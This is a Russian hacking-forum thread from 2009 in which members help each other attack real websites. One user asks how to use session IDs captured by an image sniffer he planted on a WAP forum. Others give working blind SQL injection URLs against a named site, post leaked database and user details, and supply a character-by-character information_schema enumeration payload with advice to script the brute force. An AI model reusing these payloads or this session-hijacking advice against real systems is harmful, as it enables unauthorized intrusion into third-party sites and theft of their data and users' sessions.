ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #8051  
Старый 09.07.2009, 21:03
Аватар для Spyder
Spyder
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме:
9098076

Репутация: 4303


По умолчанию

Да как слеш написал это бага старого эксплорера, правда работало не толкьо в 5.5 но и в 6-ой версии
 
Ответить с цитированием

  #8052  
Старый 09.07.2009, 22:01
Аватар для LeRick
LeRick
Новичок
Регистрация: 06.06.2009
Сообщений: 7
Провел на форуме:
69905

Репутация: 2
По умолчанию

Подскажите новичку, пожалуйста.
На одном вап-сайте вставил в форум картинку-сниффер. В логах получаю такие данные: http:/ /sait.ru/member.php?sid=7cda1b46636bc1a8d88898246a615fa6&a= forum&f=4&t=1075&
Переходил по такой ссылке в течение 1й минуты после получения, но почему-то выкидывает на главную страницу.
Можно ли вобще как-то использовать данную информацию?
 
Ответить с цитированием

  #8053  
Старый 09.07.2009, 22:12
Аватар для Saiga
Saiga
Познающий
Регистрация: 22.07.2008
Сообщений: 49
Провел на форуме:
170912

Репутация: -4
По умолчанию

www.reznik.pri.ee/document.ph_p?id=138
Как узнать скока сталбцоф ? Пробавал черес order by . А union select никак .. Потскожыте
Или приведите пример
 
Ответить с цитированием

  #8054  
Старый 09.07.2009, 22:46
Аватар для Gorev
Gorev
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
Провел на форуме:
4072944

Репутация: 1550


Отправить сообщение для Gorev с помощью ICQ Отправить сообщение для Gorev с помощью Yahoo
По умолчанию

http://www.reznik.pri.ee/document.php?id=209+AND+SUBSTRING((version()),1,1) =5--

version: 5.1.34-log
database: np2482_reznik
user: np2482_reznik@localhost
os: pc-linux-gnu
 
Ответить с цитированием

  #8055  
Старый 09.07.2009, 22:47
Аватар для Pashkela
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию

Ckорее всего никак, т.к. JOIN

видю только слепую скулю:

Цитата:
http://www.reznik.pri.ee/document.php?id=138+and+substring(version(),1,1)=5
А вообще думать надо, кого ломаешь, там же афганцы
 
Ответить с цитированием

  #8056  
Старый 09.07.2009, 23:01
Аватар для Saiga
Saiga
Познающий
Регистрация: 22.07.2008
Сообщений: 49
Провел на форуме:
170912

Репутация: -4
По умолчанию

Я ломат несобераюс .. Проста некак немогу подобрат столпцы ... поетаму и спрашевал . А версия мне ненужна . Всё спс

Последний раз редактировалось Saiga; 09.07.2009 в 23:12..
 
Ответить с цитированием

  #8057  
Старый 09.07.2009, 23:09
Аватар для Gorev
Gorev
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
Провел на форуме:
4072944

Репутация: 1550


Отправить сообщение для Gorev с помощью ICQ Отправить сообщение для Gorev с помощью Yahoo
По умолчанию

Saiga тебе говорят что там слепая, а ты заладил столбцы да столбцы
 
Ответить с цитированием

  #8058  
Старый 10.07.2009, 00:24
Аватар для peonix
peonix
Познающий
Регистрация: 09.11.2008
Сообщений: 34
Провел на форуме:
36308

Репутация: 2
По умолчанию

Цитата:
Сообщение от Saiga  
www.reznik.pri.ee/document.ph_p?id=138
Как узнать скока сталбцоф ? Пробавал черес order by . А union select никак .. Потскожыте
Или приведите пример

эту скулю можно раскрутить толькоподбором, тоесть допустим делаем примерно такой запрс
www.reznik.pri.ee/document.php?id=138 and exists (select table_name from (select table_name from information_schema.tables where table_schema = database() limit [PARAM],1) a where ascii(substr(table_name,[SymbolNumber],1))>[GM])

все что в квадратных скобках - это переменные значения
[GM]- код символа
[Param] - думаю сам догадаешься...
[SymbolNumber] - это номер символа в текущем [Param]

примерно так, если вручную то муторно и долго...
Советую написать скрипт для перебора

Последний раз редактировалось peonix; 10.07.2009 в 00:30..
 
Ответить с цитированием

  #8059  
Старый 10.07.2009, 00:26
Аватар для peonix
peonix
Познающий
Регистрация: 09.11.2008
Сообщений: 34
Провел на форуме:
36308

Репутация: 2
По умолчанию

забыл написать, если условие выполнится то страница загрузится без ошибок, если нет, то соответственно будет пустой...
 
Ответить с цитированием

  #8060  
Старый 10.07.2009, 00:29
Аватар для Saiga
Saiga
Познающий
Регистрация: 22.07.2008
Сообщений: 49
Провел на форуме:
170912

Репутация: -4
По умолчанию

peonix

Если это всё за правду то огромное спс тебе ))

Будет время буду пробавать
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Форумы 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ